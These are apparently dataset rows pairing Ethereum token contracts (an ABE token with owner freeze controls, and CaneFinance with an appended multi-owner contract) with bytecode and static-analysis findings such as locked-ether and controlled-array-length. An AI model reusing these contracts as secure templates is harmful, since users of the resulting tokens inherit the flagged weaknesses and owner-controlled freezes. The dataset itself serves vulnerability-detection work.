* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/* ABE Token */
contract ABEToken is BurnableToken, StandardToken,Pausable {
/* This generates a public event on the blockchain that will notify clients */
/*It will invoke a public event in block chain, and inform client*/
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function ABEToken() public
{
totalSupply_ = 10000000000 ether;//Total amount of tokens
balances[msg.sender] = totalSupply_; //Initial tokens for owner
name = "ABE"; //for display
symbol = "ABE"; //Symbol for display
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
//Freeze an account (Owner only).
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]); //Check if the sender is frozen.
return super.transfer(_to, _value);
}
//Send tokens to an account and froze the account immediately (Owner only).
function transferAndFrozen(address _to, uint256 _value) onlyOwner public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]); //Check if the sender is frozen.
bool Result = transfer(_to,_value);
freezeAccount(_to,true);
return Result;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]); //Check if the sender is frozen.
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
|
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd14610206578063313ce5671461022e5780633f4ba83a1461025757806342966c681461026c5780635c975abb14610282578063661884631461029557806370a08231146102b757806379cc6790146102d65780638456cb59146102f85780638da5cb5b1461030b57806395d89b411461033a578063a9059cbb1461034d578063b414d4b61461036f578063d73dd6231461038e578063dd62ed3e146103b0578063e724529c146103d5578063f2fde38b146103f9578063f3164eb614610418575b600080fd5b341561012c57600080fd5b61013461043a565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a03600435166024356104d8565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f46104fc565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a0360043581169060243516604435610502565b341561023957600080fd5b61024161054e565b60405160ff909116815260200160405180910390f35b341561026257600080fd5b61026a610557565b005b341561027757600080fd5b61026a6004356105bb565b341561028d57600080fd5b6101cd6105c8565b34156102a057600080fd5b6101cd600160a060020a03600435166024356105d1565b34156102c257600080fd5b6101f4600160a060020a03600435166105ee565b34156102e157600080fd5b61026a600160a060020a0360043516602435610609565b341561030357600080fd5b61026a6106a8565b341561031657600080fd5b61031e61070e565b604051600160a060020a03909116815260200160405180910390f35b341561034557600080fd5b61013461071d565b341561035857600080fd5b6101cd600160a060020a0360043516602435610788565b341561037a57600080fd5b6101cd600160a060020a03600435166107cb565b341561039957600080fd5b6101cd600160a060020a03600435166024356107e0565b34156103bb57600080fd5b6101f4600160a060020a03600435811690602435166107fd565b34156103e057600080fd5b61026a600160a060020a03600435166024351515610828565b341561040457600080fd5b61026a600160a060020a03600435166108b4565b341561042357600080fd5b6101cd600160a060020a036004351660243561094f565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d05780601f106104a5576101008083540402835291602001916104d0565b820191906000526020600020905b8154815290600101906020018083116104b357829003601f168201915b505050505081565b60075460009060ff16156104eb57600080fd5b6104f583836109bc565b9392505050565b60045490565b60075460009060ff161561051557600080fd5b600160a060020a03841660009081526008602052604090205460ff161561053b57600080fd5b610546848484610a28565b949350505050565b60035460ff1681565b60055433600160a060020a0390811691161461057257600080fd5b60075460ff16151561058357600080fd5b6007805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6105c53382610ba8565b50565b60075460ff1681565b60075460009060ff16156105e457600080fd5b6104f58383610ca5565b600160a060020a031660009081526020819052604090205490565b600160a060020a038083166000908152600660209081526040808320339094168352929052205481111561063c57600080fd5b600160a060020a0380831660009081526006602090815260408083203390941683529290522054610673908263ffffffff610d9f16565b600160a060020a03808416600090815260066020908152604080832033909416835292905220556106a48282610ba8565b5050565b60055433600160a060020a039081169116146106c357600080fd5b60075460ff16156106d357600080fd5b6007805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600554600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d05780601f106104a5576101008083540402835291602001916104d0565b60075460009060ff161561079b57600080fd5b600160a060020a03331660009081526008602052604090205460ff16156107c157600080fd5b6104f58383610db1565b60086020526000908152604090205460ff1681565b60075460009060ff16156107f357600080fd5b6104f58383610ec3565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60055433600160a060020a0390811691161461084357600080fd5b600160a060020a03821660009081526008602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60055433600160a060020a039081169116146108cf57600080fd5b600160a060020a03811615156108e457600080fd5b600554600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600090819033600160a060020a0390811691161461096f57600080fd5b60075460ff161561097f57600080fd5b600160a060020a03331660009081526008602052604090205460ff16156109a557600080fd5b6109af8484610788565b90506104f5846001610828565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a3f57600080fd5b600160a060020a038416600090815260208190526040902054821115610a6457600080fd5b600160a060020a0380851660009081526006602090815260408083203390941683529290522054821115610a9757600080fd5b600160a060020a038416600090815260208190526040902054610ac0908363ffffffff610d9f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610af5908363ffffffff610f6716565b600160a060020a0380851660009081526020818152604080832094909455878316825260068152838220339093168252919091522054610b3b908363ffffffff610d9f16565b600160a060020a03808616600081815260066020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a038216600090815260208190526040902054811115610bcd57600080fd5b600160a060020a038216600090815260208190526040902054610bf6908263ffffffff610d9f16565b600160a060020a038316600090815260208190526040902055600454610c22908263ffffffff610d9f16565b600455600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a03338116600090815260066020908152604080832093861683529290529081205480831115610d0257600160a060020a033381166000908152600660209081526040808320938816835292905290812055610d39565b610d12818463ffffffff610d9f16565b600160a060020a033381166000908152600660209081526040808320938916835292905220555b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600082821115610dab57fe5b50900390565b6000600160a060020a0383161515610dc857600080fd5b600160a060020a033316600090815260208190526040902054821115610ded57600080fd5b600160a060020a033316600090815260208190526040902054610e16908363ffffffff610d9f16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e4b908363ffffffff610f6716565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600660209081526040808320938616835292905290812054610efb908363ffffffff610f6716565b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b81810182811015610f7457fe5b929150505600a165627a7a7230582049f58ecc4b1f44062e1755e306c401e2d33df90ae28e2661887c6216d2669f6b0029
|
{"success": true, "error": null, "results": {}}
| 8,193 |
0xf3b9ee38cc20a79450198656fe69cdceea2a2655
|
pragma solidity ^0.4.24;
// $$$$$$\ $$$$$$$$\ $$\
//$$ __$$\ $$ _____|\__|
//$$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$ | $$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\
//$$ | \____$$\ $$ __$$\ $$ __$$\ $$$$$\ $$ |$$ __$$\ \____$$\ $$ __$$\ $$ _____|$$ __$$\
//$$ | $$$$$$$ |$$ | $$ |$$$$$$$$ | $$ __| $$ |$$ | $$ | $$$$$$$ |$$ | $$ |$$ / $$$$$$$$ |
//$$ | $$\ $$ __$$ |$$ | $$ |$$ ____| $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$ | $$ ____|
//\$$$$$$ |\$$$$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ |$$ | $$ |\$$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$$$$\
// \______/ \_______|\__| \__| \_______| \__| \__|\__| \__| \_______|\__| \__| \_______| \_______|
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CaneFinance is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "CANE";
name = "CaneFinance";
decimals = 9;
_totalSupply = 36000000000000;
balances[0xba2E91c3531af1aa36F61Bb86a373352E8Ff1372] = _totalSupply;
emit Transfer(address(0), 0xba2E91c3531af1aa36F61Bb86a373352E8Ff1372, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MultOwnable {
address[] private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner.push(msg.sender);
emit OwnershipTransferred(address(0), _owner[0]);
}
function checkOwner() private view returns (bool) {
for (uint8 i = 0; i < _owner.length; i++) {
if (_owner[i] == msg.sender) {
return true;
}
}
return false;
}
function checkNewOwner(address _address) private view returns (bool) {
for (uint8 i = 0; i < _owner.length; i++) {
if (_owner[i] == _address) {
return false;
}
}
return true;
}
modifier isAnOwner() {
require(checkOwner(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public isAnOwner {
for (uint8 i = 0; i < _owner.length; i++) {
if (_owner[i] == msg.sender) {
_owner[i] = address(0);
emit OwnershipTransferred(_owner[i], msg.sender);
}
}
}
function getOwners() public view returns (address[] memory) {
return _owner;
}
function addOwnerShip(address newOwner) public isAnOwner {
_addOwnerShip(newOwner);
}
function _addOwnerShip(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
require(checkNewOwner(newOwner), "Owner already exists");
_owner.push(newOwner);
emit OwnershipTransferred(_owner[_owner.length - 1], newOwner);
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820182416475693821ebb415ac46c486002cbfd7a3c11985f2862c7689010ad57540029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,194 |
